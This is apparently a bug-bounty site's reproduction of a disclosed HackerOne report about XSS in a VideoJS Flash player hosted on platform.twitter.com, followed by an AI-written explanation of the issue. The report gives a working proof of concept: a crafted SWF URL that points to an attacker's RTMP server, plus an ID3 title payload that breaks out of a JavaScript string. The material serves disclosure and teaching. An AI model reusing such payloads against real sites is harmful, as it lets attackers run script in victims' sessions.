Skip to content
XSS Disclosed report Advanced

XSS platform.twitter.com | video-js metadata

VideoJS does not escape metadata passed to JavaScript via ExternalInterface, allowing an attacker to inject JavaScript code through a crafted MP3 file's ID3 tags. This could lead to JavaScript execution in the context of the vulnerable SWF file hosted on platform.twitter.com.

batram Follow

Originally disclosed on HackerOne

  • Triaged in 10 hours
  • Fixed in 7 days
  • Paid in 5 days
  • Disclosed after 49 days

https://platform.twitter.com/video/video-js.1e43b81a2f30220a16fd493aaf072451.swf

VideoJS does not escape metadata passed to JavaScript via ExternalInterface. Since VideoJS does not load a required policy file to read metadata from mp3s loaded from an external server via http we need to use rtmp. Also other metadata send from the server (like the servername) can be used to gain JavaScript-Execution.

PoC: https://platform.twitter.com/video/video-js.1e43b81a2f30220a16fd493aaf072451.swf?eventProxyFunction=console.log&autoplay=true&rtmpStream=mp3:haha&rtmpConnection=rtmp://not-a-real-example-rtmp-server.com/

Example File: http://batr.am/haha.mp3

ID3:

Title: \"})})))}finally{confirm(/moin/)}//

Resulting JS:

try { __flash__toXML(console.log("plugin","loadedmetadata",({audiochannels:2,tags:({TIT2:"\\"})})))}finally{confirm(/moin/)}//"}),audiosamplerate:44100,audiocodecid:".mp3",bandwidth:368,endTimestamp:1.881,Server:"C++ RTMP Media Server (www.rtmpd.com)",totalFramesCount:73,duration:1.881,fileSize:47104,videoFramesCount:0,startTimestamp:0,audioFramesCount:0,stereo:true}))) ; } catch (e) { "<undefined/>"; }

Tested with: C++ RTMP Media Server (www.rtmpd.com)

Win 8.1 | Google Chrome Version 39.0.2166.2 dev-m (64-bit) | Flash plugin 15.0.0.152 Win 8.1 | Mozilla Firefox Version 32.0.3 | Flash plugin 15.0.0.152

The original report as published on HackerOne, by batram. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could execute JavaScript in the context of the SWF hosted on platform.twitter.com.

What the attacker needed

Victim visits a crafted URL; Attacker hosts a malicious MP3 file; Attacker controls an RTMP server

How it was found

  1. Host a malicious MP3 file with a crafted ID3 title on an external server.
  2. Create a URL to the vulnerable SWF with parameters pointing to the malicious RTMP stream and the external MP3.
  3. Victim visits the crafted URL, causing the SWF to load the MP3 and process its metadata.
  4. The unescaped metadata breaks out of the JavaScript string and executes the injected code.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

VideoJS is a video player that runs in Flash. It takes information from media files, like song titles, and passes it to JavaScript without cleaning it. An attacker can put special characters in a song title that break out of the expected code and run their own JavaScript.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by batram

View all

22 more disclosed reports, best first.

More from X / xAI

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.